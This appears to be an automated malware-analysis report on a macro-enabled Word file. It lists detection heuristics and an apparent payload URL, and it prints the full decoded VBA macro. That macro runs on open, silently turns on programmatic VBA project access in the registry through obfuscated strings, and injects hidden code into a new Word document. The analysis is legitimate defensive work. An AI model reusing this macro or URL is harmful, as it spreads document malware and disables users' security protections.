MALICIOUS
132
Risk Score
Heuristics 6
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
viewStorage.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString repoOption -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set vbFunc = CreateObject("msxml2.domdocument") -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub autoopen() -
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://shepard2018-transport.com/bijol/Aobi0ALLez0HkzJ3Tiik2YxtlkOXUyWLjphkF5FE/rc4htVOK5jSU7jR/pPImzpiKfGsVqfUgAbSAF64f95I51JxrJ8KafT4A25Hz5/sQGl4hMo In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
- http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
- http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2881 bytes |
SHA-256: d3a3b61d2af02b7878b28ada19135d89e8924918c6052548aece0a65ac090af1 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{DEF62DC7-46EA-4727-9CEA-CD6C22EFF53A}{991B5B79-C0E0-416D-BF9C-FBFA1FA73713}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "windowMainRequest"
Sub autoopen()
counterMem
Dim referenceMem As String
referenceMem = listboxCaptionNamespace
bufCaption referenceMem
End Sub
Attribute VB_Name = "deleteRemove"
Function memoryVariableMem(constRepo As String) As Variant
Dim vbFunc As Object
Dim structRepo As Object
Set vbFunc = CreateObject("msxml2.domdocument")
Set structRepo = vbFunc.createElement("code")
structRepo.DataType = "bin.base64"
structRepo.Text = constRepo
memoryVariableMem = structRepo.nodeTypedValue
End Function
Function bufferRequestArray(removeFuncGlobal, removeWindow)
bufferRequestArray = StrConv(removeFuncGlobal, removeWindow)
End Function
Attribute VB_Name = "removeListboxSelect"
Sub bufCaption(repoOption As String)
Set procedureValueWindow = CreateObject("word.application")
Set viewStorage = procedureValueWindow.Documents.Add
viewStorage.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString repoOption
procedureValueWindow.Visible = False
procedureValueWindow.Quit SaveChanges:=wdDoNotSaveChanges
End Sub
Attribute VB_Name = "valueTmpTemp"
Function dataLocalResponse() As String
dataLocalResponse = Application.Version
End Function
Function storageA()
storageA = "U5UX1VTRVJcU29mdHdhcmVcTWlj"
End Function
Function clearRef()
clearRef = "cript.sh"
End Function
Function bufferPtrSize()
bufferPtrSize = "VjdXJpdHlcQWN"
End Function
Sub counterMem()
queryPtrVb = bufferRequestArray(memoryVariableMem("SEtFWV9DVVJSR" & storageA & "cm9zb2Z0XE9mZmljZVw="), vbUnicode)
trustStorage = dataLocalResponse
loadViewValue = bufferRequestArray(memoryVariableMem("XFdvcmRcU2" & bufferPtrSize & "jZXNzVkJPTQ=="), vbUnicode)
buttonFunc = queryPtrVb & trustStorage & loadViewValue
With CreateObject("ws" & clearRef & "ell")
.RegWrite buttonFunc, 1, "REG_DWORD"
End With
End Sub
Public Function varMain(ByVal textWindowBorder As String) As String
For trustDatabaseA = 1 To Len(textWindowBorder) Step 2
linkTable = Chr$(Val("&H" & Mid$(textWindowBorder, trustDatabaseA, 2)))
classGenericSize = classGenericSize & linkTable
Next trustDatabaseA
varMain = classGenericSize
End Function
Function listboxCaptionNamespace()
listboxCaptionNamespace = UserForm1.TextBox1
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 27648 bytes |
SHA-256: 079b5cbaf8e1de3aa8eaf65c6518e996e69665e585b487335ac1822ceeff5293 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 long base64-like blob(s).
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.